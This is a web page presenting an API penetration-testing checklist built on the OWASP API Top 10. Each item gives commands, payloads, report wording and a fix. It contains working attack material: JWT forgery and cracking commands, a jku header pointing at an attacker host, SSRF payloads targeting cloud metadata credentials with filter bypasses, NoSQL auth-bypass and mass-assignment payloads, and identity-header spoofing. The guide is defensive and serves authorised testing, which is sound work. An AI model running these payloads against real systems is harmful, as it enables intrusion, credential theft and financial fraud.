API Pentest Checklist

The OWASP API Top 10 turned into a how-to-test field guide: for every item — BOLA/BFLA, broken authentication and JWT, excessive data exposure and mass assignment, resource consumption, SSRF, misconfiguration, inventory and third-party risks, injection, plus GraphQL, webhooks and WebSockets, and SaaS/banking/e-commerce/healthcare/internal specifics — the scenario, the real command (curl, ffuf, jwt_tool, sqlmap, Burp), the steps, the finding to report, and the fix.

LazyHackers.in — Checklist

🔌 API Pentest Checklist

OWASP API Top 10, item by item: scenario · command · steps · the finding · the fix

☰   How to use this guide

APIs fail differently from web pages: the bugs are authorization (BOLA/BFLA), over-exposure, and missing limits — and the UI's restrictions almost never exist on the backend. So test the API directly with curl/Postman/Burp, with two accounts, and read the raw JSON. This guide turns every line of the API checklist into how-to-test. Companion: the API Security deep-dive and the Web checklist (the API is also a web target).

Run sections 0–13 relevant to the API type; GraphQL (§12) and Webhook/WebSocket (§13) only when that tech is in the stack. Each section ends with a coverage table mapping every checklist line to a test + a report-ready finding.
Authorised testing only — your own API, a lab, or a scoped engagement.
export HTTPS_PROXY=http://127.0.0.1:8080            # route everything through Burp
BASE=https://api.target.tld ; TOKEN_A=...; TOKEN_B=...   # two test identities
# Grab the spec if exposed — it is your endpoint map:
curl -s $BASE/openapi.json | jq '.paths | keys'

0   Recon & API discovery

Find every endpoint, version and leaked key before testing logic. The spec, JS bundles and old versions hand you most of the surface.

Discover the API surface

# Swagger / OpenAPI / GraphQL discovery
for p in swagger-ui api-docs v3/api-docs openapi.json graphql .well-known/openid-configuration; do
  curl -s -o /dev/null -w "%{http_code} $p\n" $BASE/$p ; done
# Endpoints + keys hiding in front-end JS
katana -u https://target.tld -jc -silent | grep -E '/api|/v[0-9]' | anew endpoints.txt
nuclei -l endpoints.txt -t http/exposures/   # tokens, keys, stack traces
# Old versions live alongside current?
for v in v1 v2 v3 internal beta; do curl -s -o /dev/null -w "%{http_code} /$v\n" $BASE/$v/users; done
⚑ Report as: “Exposed API documentation / deprecated API version still live”
🛡 Fix: Keep API docs internal in prod; disable GraphQL introspection; retire old versions; strip stack traces from errors; never ship API keys in client code.

Recon & discovery — full coverage

Checklist itemHow to testReport as
API docs exposed (Swagger/OpenAPI)curl /swagger-ui /api-docsAPI documentation exposed
GraphQL introspection in prodintrospection queryGraphQL introspection enabled
Postman collection / spec leakedsearch public Postman/GitHubAPI spec leak
Hidden endpoints via JSkatana + grepUndocumented endpoint disclosure
Old versions still liveprobe /v1 /v2Deprecated API version live
Internal/admin API internet-reachablerequest admin/internal pathsInternal API exposed
Mobile app reversed → endpoints/keysjadx/apktool on APKEndpoints/keys from mobile binary
API keys hardcoded in clientgrep JS/APKHardcoded API key
Sandbox/staging API with prod dataprobe staging hostsNon-prod API with production data
Verbose Allow / OPTIONScurl -X OPTIONS -iHTTP methods disclosure
Errors leak stack/framework/DBsend malformed inputVerbose error disclosure
.well-known / discovery leaks configcurl /.well-known/*Configuration disclosure

1   Broken object level authorization (BOLA)

API #1 and the most common API critical: the server uses a client-supplied object ID without checking it belongs to you.

BOLA — the two-token method

  1. Get two accounts (token A, token B). As A, capture a request referencing your object: GET /api/orders/1001.
  2. Replay it with A's token but B's object ID (or just decrement/increment). B's data returned → BOLA.
  3. Repeat for body params, query params, headers, nested resources, and batch ids[]; test read, update and delete.
  4. Automate with Burp Autorize (replays low-priv session against captured requests and diffs).
# Range-sweep object IDs with A's token; flag anything not 403/404
ffuf -u "$BASE/api/orders/FUZZ" -H "Authorization: Bearer $TOKEN_A" \
     -w <(seq 1000 1100) -mc 200 -ac -c
# UUIDs are not authz — if leaked elsewhere they are just as swappable.
⚑ Report as: “BOLA — unauthorised access to another user's object via ID”
🛡 Fix: Enforce object-level authorisation server-side on every request: confirm the object belongs to the caller; never trust client-supplied IDs; apply the check to nested and batch endpoints too.

BOLA — full coverage

Checklist itemHow to testReport as
BOLA read via ID in pathswap /users/{id}BOLA (read)
BOLA update/deleteswap ID on PUT/DELETEBOLA (modify)
BOLA via ID in bodychange ID in JSON bodyBOLA via request body
BOLA via query/headerswap ID in query/headerBOLA via parameter
BOLA with UUID/GUIDuse leaked/known UUIDBOLA with UUID
BOLA on nested resourceswap /orders/{id}/items/{id}BOLA on nested object
BOLA on file/export endpointswap document/export IDBOLA on file/export
BOLA via wildcard/batchids[]=1,2,3 mixing ownersBOLA via batch parameter
Predictable/sequential referencesenumerate IDsPredictable object reference
Parent checked, child notaccess child of unowned parentMissing child-object authorisation

2   Broken authentication

API #2: weak token issuance and JWT handling. Brute the auth endpoint, then attack the token itself.

JWT attacks

jwt_tool <JWT> -T                       # tamper claims (role, sub) and replay
jwt_tool <JWT> -X a                      # alg:none family
jwt_tool <JWT> -C -d rockyou.txt         # crack weak HS256 secret
jwt_tool <JWT> -X k -pk public.pem       # RS256 -> HS256 key confusion
# kid / jku / x5u abuse: point header to attacker-controlled key/URL
#   "kid":"../../dev/null"  or  "jku":"https://attacker.tld/jwks.json"
⚑ Report as: “JWT signature not verified / algorithm confusion / weak signing secret”
🛡 Fix: Verify (never decode-only); pin the algorithm to an allowlist (reject none); strong random or asymmetric keys; validate exp/aud/iss; ignore client-controlled kid/jku/x5u or restrict to a trusted allowlist; rotate and revoke refresh tokens, detect reuse.

Broken authentication — full coverage

Checklist itemHow to testReport as
No rate limit on login/tokenreplay 100×No authentication rate limit
No rate limit on OTPspam OTP request/verifyNo OTP throttling
Credential stuffing possiblereplay breach combosCredential stuffing exposure
Weak/empty password acceptedregister weak/emptyWeak password policy
Token issued without credential checkinspect token flowImproper token issuance
JWT alg:nonejwt_tool -X aJWT alg:none accepted
JWT weak HMAC secretjwt_tool -CCrackable JWT secret
JWT RS256→HS256 confusionjwt_tool -X kJWT algorithm confusion
JWT signature not verifiededit payload, drop sigJWT signature not verified
JWT kid injectionSQLi/traversal in kidJWT kid injection
JWT expired acceptedreplay past expJWT expiry not enforced
JWT jku/x5u to attacker URLpoint header to your JWKSJWT jku/x5u abuse
JWT claims trusted blindlytamper role/scope claimUnvalidated JWT claims
Refresh token never expires/revocablereuse after logoutNon-revocable refresh token
Refresh reuse not detectedreplay rotated refreshRefresh-token reuse undetected
API key in URLinspect URLs/logsAPI key transmitted in URL
API key not tied to identityuse key across accountsOver-shared API key
Basic auth over HTTPcapture cleartextBasic auth over cleartext
OAuth redirect_uri not validatedtamper redirect_uriOAuth redirect_uri validation flaw
OAuth missing statedrop stateMissing OAuth state (CSRF)
OAuth code reusereplay auth codeOAuth code not single-use
OAuth PKCE not enforcedomit PKCE for public clientPKCE not enforced
OAuth scope escalationtamper scope paramOAuth scope escalation
Token not invalidated on logout/pw changereuse after logoutToken not invalidated
mTLS/client cert not enforcedconnect without certMissing mTLS enforcement

3   Broken object property level authorization

API #3: property-level authorization. Two halves — the server returns fields you shouldn't see (excessive data exposure), and accepts fields you shouldn't set (mass assignment).

Excessive data exposure & mass assignment

# Excessive exposure — read the FULL JSON, not just what the UI shows
curl -s $BASE/api/users/me -H "Authorization: Bearer $TOKEN_A" | jq .
#   look for: passwordHash, internal flags, other users' fields, isAdmin, balance

# Mass assignment — inject privileged fields the UI never sends
curl -s -X PATCH $BASE/api/users/me -H "Authorization: Bearer $TOKEN_A" \
  -H 'Content-Type: application/json' \
  -d '{"name":"x","role":"admin","isAdmin":true,"verified":true,"ownerId":1}'
# Nested escalation:  {"user":{"role":"admin"}}
⚑ Report as: “Excessive data exposure (sensitive fields in response) / Mass assignment privilege escalation”
🛡 Fix: Return explicit DTOs with only needed fields (never the raw model); whitelist writable fields server-side; ignore client-supplied role/owner/status/balance; filter on the server, not the client.

BOPLA — full coverage

Checklist itemHow to testReport as
More fields than UI usesread full JSONExcessive data exposure
Sensitive fields in response (hash/tokens)inspect responseSensitive field exposure
Filtering client-side onlycall API directlyServer returns unfiltered object
Debug/internal fields leakedgrep isAdmin/creditScoreInternal field disclosure
Related-object over-returninspect list responsesOver-exposure of related data
Set role/isAdmin/verifiedinject fieldsMass assignment (privilege)
Modify userId/ownerIdreassign object ownerMass assignment (ownership)
Set balance/price/statusinject writable fieldMass assignment (state)
Override read-only on PUT/PATCHsend read-only fieldsRead-only field override
Nested object escalation{"user":{"role":"admin"}}Nested mass assignment

4   Unrestricted resource consumption

API #4: no limits = cost, DoS and brute-force enablement. Test rate limits and their bypasses, pagination caps and expensive operations.

# Is there a rate limit, and can it be bypassed?
for i in $(seq 1 200); do curl -s -o /dev/null -w "%{http_code} " $BASE/api/search?q=x \
  -H "X-Forwarded-For: 1.2.3.$((RANDOM%255))" ; done   # rotate XFF / casing / param
# Pagination / response-size blow-up
curl -s "$BASE/api/items?limit=9999999" -o /dev/null -w "size=%{size_download}\n"
⚑ Report as: “Unrestricted resource consumption / rate-limit bypass via header”
🛡 Fix: Rate-limit on a robust identity (not a spoofable header); cap pagination and request/response size; throttle expensive operations and third-party-cost actions; bound GraphQL depth/complexity; cap OTP/email/SMS sends.

Resource consumption — full coverage

Checklist itemHow to testReport as
No rate limiting on any endpointflood requestsMissing rate limiting
Rate-limit bypass via header/casingrotate XFF / change casingRate-limit bypass
No pagination caplimit=999999Unbounded pagination
GraphQL nested-query DoSdeep nested queryGraphQL depth DoS
GraphQL batching amplificationarray of queriesGraphQL batching abuse
GraphQL alias amplificationmany aliases of costly fieldGraphQL alias amplification
Unbounded upload sizehuge uploadUnbounded upload (DoS)
Expensive op no throttle (export)spam export/reportUnthrottled expensive operation
No limit on OTP/email/SMSspam sendsUnbounded notification sends
ReDoS on regex endpointcatastrophic regex inputReDoS
Concurrent-request exhaustionparallel floodResource exhaustion
No quota on third-party-cost actionsrepeat costly actionMissing cost quota

5   Broken function level authorization (BFLA)

API #5: a normal user reaches admin functions because the UI hides them but the API doesn't check the role.

# Replay an admin-only endpoint with a normal user's token
curl -s -X POST $BASE/api/admin/users -H "Authorization: Bearer $TOKEN_A" -d '{...}'  # 200? -> BFLA
# Method swap + override header
curl -X GET   $BASE/api/admin/deleteUser?id=5 -H "Authorization: Bearer $TOKEN_A"
curl -X POST  $BASE/api/user -H 'X-HTTP-Method-Override: DELETE' -H "Authorization: Bearer $TOKEN_A"
⚑ Report as: “Broken function level authorization — user reaches admin function”
🛡 Fix: Enforce role/function authorisation server-side on every endpoint and method (default-deny); apply the same checks across all API versions and to bulk/batch routes; ignore method-override headers unless explicitly required.

BFLA — full coverage

Checklist itemHow to testReport as
User calls admin-only endpointreplay as userBFLA
Vertical privesc via direct callcall hidden endpointVertical privilege escalation
HTTP method swap bypassGET where POST blockedMethod-based authz bypass
Method-override header bypassX-HTTP-Method-OverrideMethod-override bypass
Guessable admin endpointsprobe /admin /internalGuessable privileged endpoint
Role check on UI not APIcall API directlyAuthz enforced client-side only
DELETE/PUT for read-only rolemutate as read-onlyExcessive method permission
Bulk/batch missing authzbulk action as userMissing bulk authorisation
Different version lacks checktry /v1 of admin callAuthz gap in API version

6   Unrestricted access to sensitive business flows

API #6: a sensitive flow (purchase, signup, reward) is automatable at scale because there's no anti-automation.

⚑ Report as: “Unrestricted access to sensitive business flow (automated abuse)”
🛡 Fix: Add anti-automation to high-value flows (device fingerprinting, risk-based CAPTCHA, velocity limits); enforce server-side workflow state; make one-time business actions idempotent.

Sensitive business flows — full coverage

Checklist itemHow to testReport as
Purchase/booking scalpingscript the flow at scaleBusiness-flow automation abuse
Mass account creationbulk signup, no bot controlMissing anti-automation (signup)
Referral/reward farmingloop reward flowReward farming
Comment/review spam at scalebulk postSpam-flow abuse
No anti-automation on high-value flowautomate transfer/redeemMissing anti-automation
Workflow step skippingcall /confirm directlyWorkflow bypass
One-time action replayableresend captured requestBusiness-action replay

7   Server-side request forgery (SSRF)

API #7: a parameter that fetches a URL becomes a door into the internal network and cloud metadata.

interactsh-client            # OOB host; then point any url/webhook/import param at it
curl -s -X POST $BASE/api/import -d '{"url":"http://<oob>.oast.fun/"}'   # callback = SSRF
# Escalate + bypass filters:
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/   # cloud creds
url=http://127.1   url=http://[::]   url=http://0x7f000001   url=http://2130706433
# DNS rebinding / 30x redirect to internal when host is allowlisted
⚑ Report as: “Server-side request forgery (internal/metadata access)”
🛡 Fix: Allowlist outbound scheme+host; block loopback/link-local/RFC1918 and metadata IPs; resolve-and-pin to stop DNS rebinding; don't follow redirects to private ranges; enforce IMDSv2; egress-firewall the fetcher.

SSRF — full coverage

Checklist itemHow to testReport as
SSRF via URL parameterOOB callbackSSRF
SSRF to cloud metadata169.254.169.254SSRF to cloud metadata
SSRF internal port scanprobe internal portsSSRF internal scanning
Blind/OOB SSRFinteractsh callbackBlind SSRF
SSRF filter bypassredirect/rebind/decimal IPSSRF filter bypass
SSRF via upload fetching remoteupload referencing remote URLSSRF via upload
SSRF via PDF/image/headlessinject URL into generatorSSRF via renderer

8   Security misconfiguration

API #8: CORS, missing headers, verbose errors, exposed debug, weak TLS and parser confusion.

# CORS — reflected origin with credentials is the dangerous one
curl -s -I $BASE/api/me -H 'Origin: https://evil.tld' | grep -i access-control
#   ACAO: https://evil.tld + ACAC: true  -> exploitable
# Content-type confusion: JSON endpoint that also parses XML -> XXE
curl -s -X POST $BASE/api/x -H 'Content-Type: application/xml' --data @xxe.xml
⚑ Report as: “CORS misconfiguration (reflected origin with credentials)”
🛡 Fix: Reflect CORS only for an exact allowlist, never wildcard-with-credentials or null; set security headers; disable debug/actuator in prod; enforce TLS; pin accepted content-types; never let a JSON API parse XML with external entities.

Misconfiguration — full coverage

Checklist itemHow to testReport as
CORS wildcard with credentialsOrigin testCORS misconfiguration
CORS reflected/arbitrary originreflect arbitrary OriginCORS origin reflection
CORS null origin allowedOrigin: nullCORS null-origin allowed
Missing security headerscurl -IMissing security headers
Verbose errors in prodmalformed inputVerbose error disclosure
Debug endpoints exposedactuator/metrics/healthDebug endpoint exposed
Dangerous HTTP methodsOPTIONS/TRACEDangerous methods enabled
Default gateway/admin credstry defaultsDefault credentials
TLS weak/missing; HTTP acceptedtestssl.shWeak/missing TLS
Unpatched framework (CVE)nuclei cvesOutdated component
Content-type confusion (XML→XXE)send XML to JSON endpointContent-type confusion / XXE
Cache stores sensitive responsecheck Cache-ControlSensitive response cached

9   Improper inventory management

API #9: shadow, deprecated and non-prod endpoints that bypass the current controls.

⚑ Report as: “Improper inventory management (deprecated/shadow endpoint live)”
🛡 Fix: Maintain a complete API inventory; retire deprecated versions; keep non-prod off the internet; route all endpoints through the same auth/gateway layer.

Inventory management — full coverage

Checklist itemHow to testReport as
Deprecated version still liveprobe old versionsDeprecated API version live
Shadow/undocumented endpointsJS/diff discoveryShadow endpoint
Non-prod API internet-exposedprobe dev/staging/uatNon-prod API exposed
Old host serving unpatched APIcheck historical hostsUnpatched legacy host
Endpoints bypass gateway/authcompare gateway vs directAuth-layer bypass
Forgotten beta endpointsprobe beta pathsWeakly-controlled beta endpoint

10   Unsafe consumption of third-party APIs

API #10: blindly trusting data and redirects from upstream/partner APIs.

⚑ Report as: “Unsafe consumption of third-party API (unvalidated upstream data)”
🛡 Fix: Validate and sanitise everything from upstream APIs as untrusted; don't blindly follow upstream redirects (SSRF chain); scope third-party secrets tightly; verify webhook signatures.

Third-party consumption — full coverage

Checklist itemHow to testReport as
Blindly trusting 3rd-party datainject via upstreamUnvalidated upstream data
No validation on upstream responsemalformed upstreamMissing upstream validation
Following upstream redirects blindlyredirect to internalSSRF via upstream redirect
Over-scoped/leaked 3rd-party secretinspect scope/storageOver-scoped third-party secret
Webhook accepted without signaturePOST unsignedUnsigned webhook accepted
Injection via partner-sourced datapoison partner fieldInjection via partner data

11   Injection & input validation

APIs hit the same interpreters as web apps — SQL/NoSQL, command, SSTI, XXE, plus JSON type juggling and parser differentials.

sqlmap -r request.req -p id --batch --level 3        # SQLi in body/param
# NoSQL operator injection (JSON)
{"username":{"$ne":null},"password":{"$ne":null}}     # auth bypass
# JSON type juggling: send string where int expected, array where string expected
{"id":"1 OR 1=1"}   {"role":["admin"]}   {"amount":"100e2"}
⚑ Report as: “Injection via API parameter/body (<SQLi/NoSQLi/command/SSTI/XXE>)”
🛡 Fix: Parameterise all queries; validate types and schema (reject string-where-int, unexpected arrays); disable XML external entities; encode output rendered in any client.

Injection — full coverage

Checklist itemHow to testReport as
SQL injectionsqlmapSQL injection
NoSQL injection$ne/$gt operatorsNoSQL injection
Command injection;|`$() in paramsOS command injection
SSTI in templated response${7*7}/{{7*7}}Server-side template injection
XXE via XML/SOAP bodyexternal entityXXE
LDAP/XPath injectioninjection in query paramsLDAP/XPath injection
GraphQL injection (args→backend)inject via argGraphQL injection
Header / CRLF injection%0d%0a in header valueCRLF injection
Open redirect via API paramredirect=//evil.tldOpen redirect
JSON injection / type jugglingstring/int/array swapJSON type juggling
Request smuggling at gatewaysmuggler.pyHTTP request smuggling
Content-type confusion (parser diff)alt content-typeParser differential
Stored XSS via API → client/admininject, view in clientStored XSS via API

12   GraphQL-specific

Run this section only when GraphQL is present. Introspection maps the schema; the bugs are field-level authz, batching and depth.

# Introspection -> full schema
curl -s $BASE/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{queryType{name} types{name fields{name}}}}"}' | jq .
# Batching to bypass rate limit / brute force
[{"query":"mutation{login(u:\"a\",p:\"1\"){t}}"},{"query":"mutation{login(u:\"a\",p:\"2\"){t}}"}]
# Tools: graphw00f (fingerprint), clairvoyance (schema w/o introspection), InQL (Burp)
⚑ Report as: “GraphQL — introspection enabled / missing field-level authorization”
🛡 Fix: Disable introspection in prod; enforce field- and object-level authz in resolvers; cap depth/complexity; disable or account for batching/aliases in rate limits; scrub schema details from errors; require CSRF protection / non-GET for mutations.

GraphQL — full coverage

Checklist itemHow to testReport as
Introspection in prodintrospection queryGraphQL introspection enabled
Field-level authz missingquery restricted fieldMissing field-level authz
BOLA/BFLA via query/mutationswap IDs / call admin mutationBOLA/BFLA in GraphQL
Query depth/complexity DoSdeep nested queryGraphQL depth DoS
Batching bypasses rate limitarray of mutationsGraphQL batching abuse
Alias overloading amplificationmany aliasesAlias amplification
Sensitive mutation w/o authzcall mutation as userUnprotected mutation
Errors leak schema/internalsmalformed querySchema disclosure via errors
CSRF on GraphQL over GET/formGET query / form content-typeGraphQL CSRF

13   Webhooks, async & WebSocket APIs

Run when webhooks/WebSockets are present. The themes: payload spoofing/replay, SSRF via webhook URL config, and missing auth/origin on WS.

⚑ Report as: “Webhook accepts unsigned/spoofed payload / WebSocket missing auth on upgrade”
🛡 Fix: Verify webhook signatures with a constant-time check; include a timestamp/nonce to stop replay; validate webhook target URLs (anti-SSRF); authenticate the WebSocket upgrade and check Origin (anti-CSWSH); enforce per-message authorisation.

Webhook & async/event APIs — full coverage

Checklist itemHow to testReport as
Webhook unsigned/spoofedPOST forged eventUnsigned webhook accepted
Signature missing/bypassabletamper payload, keep sigWebhook signature bypass
Webhook replay acceptedresend captured eventWebhook replay
Webhook URL config → SSRFset webhook to internal URLSSRF via webhook config
Non-constant-time sig checktiming analysisTiming-unsafe signature check
WebSocket no auth on upgradeconnect without authUnauthenticated WebSocket
WebSocket no origin check (CSWSH)cross-origin WS connectCross-site WebSocket hijacking
WebSocket message-level authz missingsend privileged messageMissing WS message authz
Category-specific checks

A   SaaS / multi-tenant API

Multi-tenant APIs live or die on tenant isolation. The killer is cross-tenant BOLA via a tamperable tenant ID or token claim.

⚑ Report as: “Cross-tenant object access via tamperable tenant ID/claim”
🛡 Fix: Derive tenant from the server-trusted session/token, never client input; scope every query by tenant in a shared data layer; scope and revoke API keys per tenant; verify SSO assertions and audience.

SaaS / multi-tenant API — full coverage

Checklist itemHow to testReport as
Cross-tenant object accessswap tenant in requestCross-tenant access
Tenant ID in token/body tamperableedit tenant claimTenant isolation bypass
Tenant from client inputchange client tenant valueClient-controlled tenant context
Shared resource cross-tenantaccess other tenant file/jobCross-tenant resource access
API key not tenant-scopeduse key globallyUnscoped API key
API key not revoked on removalreuse after removalAPI key not revoked
Scope escalation via claim tamperedit scope claimScope escalation
Org-admin → super-adminprobe super-admin APIPrivilege escalation
SSO/SAML replay / audience mismatchreplay assertionSAML replay
OAuth scope broader than UIinspect granted scopesExcessive OAuth scope
Plan gating client-side onlycall gated featureClient-side feature gating
Seat/license manipulationtamper countLicense manipulation
Per-tenant rate limit not isolatednoisy-neighbor testTenant rate-limit isolation gap
Audit log tamperable/missingact, check logAudit logging gap
Bulk export leaks other tenantsexport, inspect scopeCross-tenant export

B   Banking / fintech API

Money → integrity, race conditions, OTP and account BOLA. Every amount/account/status must be validated and signed server-side.

# Amount/account/status tampering + double-spend race
{"to":"VICTIM","amount":-1000}    {"amount":0.001}    {"status":"FAILED"}->{"SUCCESS"}
# Fire N parallel withdrawals (Burp single-packet / Turbo Intruder) before balance updates
⚑ Report as: “Transfer to arbitrary account via tampering / double-spend via race condition”
🛡 Fix: Server-side transaction signing on amount+payee; atomic balance ops with locks; OTP bound to the exact transaction; idempotency keys against replay; validate payee; enforce limits server-side.

Banking / fintech API — full coverage

Checklist itemHow to testReport as
Transfer to arbitrary accounttamper payeeFund-transfer tampering
Negative/decimal rounding abuseamount=-X / 0.001Amount logic flaw
Currency mismatchlow/high currency swapCurrency manipulation
Race on transfer/withdrawparallel requestsRace condition (double spend)
Race on OTP verifyparallel OTP submitsOTP race condition
Transaction-limit bypass (parallel)parallel over-limitLimit bypass
Account/statement BOLAswap accountBOLA on account data
Predictable transaction referenceenumerate refsPredictable transaction ID
Beneficiary add without OTP/coolingskip OTP/coolingBeneficiary control bypass
OTP reuse / cross-userreuse/swap OTPOTP reuse
MPIN/TPIN brute (no lockout)brute PINPIN brute force
Forged transaction status acceptedfailed→successTransaction status forgery
Payment callback/IPN forgingforge unsigned IPNPayment callback forgery
UPI/IMPS/NEFT replayreplay paymentPayment replay
Amount integrity not signedtamper amountMissing transaction integrity
Loan/credit limit tamperingtamper limitCredit-limit tampering
Interest/EMI manipulationtamper calc inputsEMI manipulation
KYC BOLAswap KYC IDBOLA on KYC
Card/CVV/account in response/logsinspect responsesFinancial data exposure
Token not device-boundreuse on other devicePortable token
Reward/cashback replayreplay claimReward replay
PAN/Aadhaar over-exposedinspect JSONRegulatory data exposure

C   E-commerce API

Cart, coupon, payment and refund logic via the API. Anything recomputed or trusted client-side is tamperable for free goods/money.

⚑ Report as: “Price tampering at checkout / payment bypass via API”
🛡 Fix: Recompute price/tax/shipping/total server-side from trusted catalogue; verify signed gateway callbacks; enforce coupon rules and single-use server-side; make refunds atomic and authorised; apply BOLA checks to orders/invoices.

E-commerce API — full coverage

Checklist itemHow to testReport as
Price tamperingedit price/totalPrice tampering
Negative quantityqty=-1Negative-quantity flaw
Currency manipulationchange currencyCurrency manipulation
Coupon reuse/stackreuse single-useCoupon logic abuse
Coupon brute forceffuf codesCoupon enumeration
Coupon post-payment/discountedapply lateCoupon application flaw
Price set to 0price=0Zero-price order
Tax/shipping removeddrop fieldsTax/shipping bypass
Gift card reuse/manipulationreplay gift cardGift-card manipulation
Loyalty points manipulationadd/transferPoints manipulation
Inventory bypass (out-of-stock)buy OOS itemInventory bypass
Order status manipulationpaid/shippedOrder-status manipulation
Payment bypass (no gateway)confirm w/o paymentPayment bypass
Gateway callback tamperingforge callbackPayment callback forgery
Partial payment as fullunderpayPartial-payment acceptance
Refund amount/destination tamperedit refundRefund manipulation
Double refund via raceparallel refundsRefund race
Order/invoice/wishlist BOLAswap IDsBOLA on commerce objects
Delivery address change via BOLAchange other order addressBOLA on delivery
Review/rating spoofpost as other userReview spoofing
Seller commission/price manipulationtamper seller fieldsMarketplace manipulation

D   Healthcare API

PHI confidentiality dominates: BOLA on records, unauthenticated report access, over-exposure.

⚑ Report as: “PHI/medical-record BOLA via API”
🛡 Fix: Per-patient object authz on records/reports/prescriptions; signed expiring links; minimise PHI in responses; enforce consent and access logging; cover bulk export.

Healthcare API — full coverage

Checklist itemHow to testReport as
PHI/record BOLAswap patient/record IDBOLA on PHI
Prescription/lab report BOLAswap document IDBOLA on medical documents
Booking on behalf of anotherchange patient IDBooking authz bypass
Doctor/patient role bypasscross-role callRole boundary bypass
PII/PHI excessive exposureinspect JSONPHI over-exposure
Sensitive data in URL / unexpiring linkinspect linksNon-expiring sensitive link
Consent/access-log missingaccess w/o consentConsent/audit gap
Bulk patient export authz missingbulk export as userMissing bulk-export authz

E   Internal / admin / microservice APIs

Internal/microservice APIs often trust the caller blindly — spoofable identity headers and missing service-to-service auth are the wins.

# Inter-service trust header spoofing — claim to be an internal/admin caller
curl -s $BASE/internal/users -H 'X-User-Id: 1' -H 'X-Role: admin' -H 'X-Forwarded-For: 127.0.0.1'
⚑ Report as: “Inter-service trust header spoofable (X-User-Id / X-Role)”
🛡 Fix: Authenticate service-to-service calls (mTLS or signed tokens); never trust client-settable identity headers; keep internal APIs off the internet; rotate default service creds; enforce authz on impersonation/user-management endpoints.

Internal / admin / microservice API — full coverage

Checklist itemHow to testReport as
Internal API internet-exposedprobe internal hostsInternal API exposed
Service trusts caller blindlycall without token/mTLSMissing service auth
Admin endpoint w/o admin rolecall as userBFLA on internal API
Default service credentialstry defaultsDefault credentials
Impersonate / act-as abusetest impersonation scopeImpersonation abuse
User-management BOLA/BFLAswap/escalateBOLA/BFLA on user management
Audit log clear via lower roleattempt clearAudit-log tampering
Queue/event injection w/o authzinject eventEvent injection
Config/secrets endpoint exposedrequest configSecrets endpoint exposed
Trust header spoofableX-User-Id/X-RoleSpoofable identity header

✓   Coverage map & how to run it

Run sections 0–11 on every API; add 12/13 when GraphQL/webhooks/WebSockets exist; finish with the category block that matches the product.

SectionRun onFocus
Universal 0–11Every APIBOLA/BFLA, auth/JWT, BOPLA, consumption, SSRF, misconfig, inventory, 3rd-party, injection
GraphQL 12GraphQL stacksIntrospection, field authz, depth/batching
Webhook/WS 13Event/realtime APIsSignature, replay, SSRF, CSWSH
SaaSMulti-tenantCross-tenant BOLA, token/scope, key revocation
BankingFintechTransaction integrity, races, OTP, account BOLA
E-commerceStoresPrice/coupon/payment/refund, order BOLA
HealthcareHealth APIsPHI BOLA, over-exposure, consent
InternalMicroservicesService trust, BFLA, header spoofing

The through-line for APIs: authorization is the bug. Test object access (BOLA) and function access (BFLA) with two accounts against the backend directly, read the full JSON for over-exposure, and never assume the UI's limits are the server's. Tick a box only when you've run the test and recorded the result; the finding names are written to paste straight into the report.

Reactions

Related Articles